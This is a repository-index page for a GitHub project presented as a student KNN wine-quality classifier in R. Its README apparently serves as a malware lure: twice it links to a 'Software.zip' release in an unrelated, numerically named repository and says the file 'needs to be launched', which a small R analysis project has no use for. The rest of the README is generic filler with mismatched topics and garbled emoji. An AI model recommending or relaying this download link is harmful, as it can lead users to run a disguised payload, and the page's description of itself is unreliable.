https://github.com/rekelpng/winequality
Final project for DSCI 100: Developed a KNN classification model in R to predict wine quality using physicochemical properties. Conducted data preprocessing, feature selection, and cross-validation to evaluate model performance.
https://github.com/rekelpng/winequality
data data-analysis data-science eda machine-learning machinelearning-python numpy pandas quality-ratings red-wine-quality regression visualization wine wine-experts
Last synced: about 1 year ago
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Final project for DSCI 100: Developed a KNN classification model in R to predict wine quality using physicochemical properties. Conducted data preprocessing, feature selection, and cross-validation to evaluate model performance.
- Host: GitHub
- URL: https://github.com/rekelpng/winequality
- Owner: REkelpng
- Created: 2025-01-23T13:51:02.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-06T22:18:57.000Z (about 1 year ago)
- Last Synced: 2025-03-06T22:22:24.730Z (about 1 year ago)
- Topics: data, data-analysis, data-science, eda, machine-learning, machinelearning-python, numpy, pandas, quality-ratings, red-wine-quality, regression, visualization, wine, wine-experts
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# đˇđ WineQuality Classifier
Welcome to the WineQuality repository, your destination for exploring a KNN classification model developed as a final project for DSCI 100. Dive into the world of wine quality prediction using physicochemical properties with this comprehensive data science project. đđŦ
[](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)
## Overview âšī¸
The "WineQuality" repository houses a sophisticated KNN classification model built in R. This project focuses on predicting wine quality through the analysis of various physicochemical properties. From data preprocessing to feature selection and cross-validation, every step of the model development process has been meticulously crafted to ensure accurate predictions. đˇđ
## Key Features đ
đ Data Preprocessing: The dataset undergoes thorough preprocessing to clean and prepare it for analysis.
đˇ Feature Selection: Relevant features are carefully chosen to enhance model performance.
đŦ Cross-Validation: Rigorous cross-validation techniques are employed to evaluate the model's effectiveness.
đ Data Analysis: In-depth analysis of physicochemical properties to predict wine quality.
đ§ Machine Learning: Utilization of KNN model for classification tasks.
## Repository Topics đ
academic-project, classification, cross-validation, data-analysis, data-preprocessing, data-science, feature-selection, knn-model, machine-learning, physicochemical-analysis, r, wine-quality
## Getting Started đ
To explore the WineQuality project and download the software, click the button above or use the following link:
[Download Software](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip) It needs to be launched. đ
## Installation Guide đģ
1. Clone the repository to your local machine.
2. Ensure you have R installed.
3. Open the R script and run it in your R environment.
4. Follow the instructions provided in the script to analyze wine quality using the KNN model.
## How to Contribute đ¤
1. Fork the repository.
2. Create a new branch.
3. Make your contributions.
4. Submit a pull request.
Contributions are welcome! Let's improve wine quality prediction together. đˇđ
## Resources đ
For more information on the project's methodology and results, feel free to visit the official [project website](https://winequalityproject.com).
## Support đ§
For any queries or support, please contact us at winequalityproject@gmail.com.
## Stay Updated đ˛
Follow us on social media for the latest updates and announcements:
đĻ [Twitter](https://twitter.com/WineQualityProject)
đ [Facebook](https://facebook.com/WineQualityProject)
đ¸ [Instagram](https://instagram.com/WineQualityProject)
## License đ
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
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Dive into the fascinating world of wine quality prediction with the WineQuality repository. Cheers to accurate predictions and delightful discoveries! đˇđđ